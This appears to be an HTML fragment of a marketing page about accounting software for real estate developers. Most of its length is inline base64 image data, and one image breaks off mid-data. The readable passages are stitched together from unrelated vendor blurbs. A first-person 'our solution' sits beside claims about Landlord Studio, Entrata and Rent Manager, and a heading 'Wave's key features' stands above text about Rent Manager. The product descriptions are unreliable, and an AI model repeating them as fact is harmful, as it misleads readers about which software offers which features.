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" width="253px" alt="accounting software for real estate developers"/></p>
<p><p>The main difference between our solution and other “construction” software packages is the degree to which the project perspective permeates the software design. When the system handles entry work, contract reminders, and report tasks, staff can focus on business plans and long term strategy. For added convenience, Landlord Studio integrates seamlessly with Xero, allowing users to sync their financial data effortlessly. This integration eliminates the risk of double data entry and ensures accounting accuracy. The software also includes advanced reporting tools to help landlords maximize their return on investment and simplify tax filing.</p>
</p>
<ul>
<li>Our certified experts provide comprehensive accounting and bookkeeping services tailored to your project needs.</li>
<li>For a more comprehensive list of options, check out these free accounting software.</li>
<li>Entrata offers robust tools to enhance operations and efficiency across various property types, from multifamily to military housing.</li>
<li>It’s ideal if you want your accounting software for real estate developers to also cover operational workflows.</li>
<li>In today’s mobile world, the ability to access financial information on the go helps real estate developers make timely decisions, regardless of their location.</li>
</ul>
<p><h2>Wave’s key features</h2>
</p>
<p><p>Access all of this from any device, improving progress tracking, real-time visibility, and field-to-office collaboration. Developers and their staff should be able to use the software without extensive training or support. Ideally, the software should be intuitive and user-friendly, with clear instructions and  a logical interface. Rent Manager offers the freedom of choice you need to build your own best-in-class solution and seamlessly integrate the technology that’s best for your business. Rent Manager delivers expert tools to keep your operation running like a well-oiled  machine. With a full range of web and mobile capabilities, you can access your data from anywhere in the field.</p>
</p>
<p><h2>Compliance And Reporting</h2>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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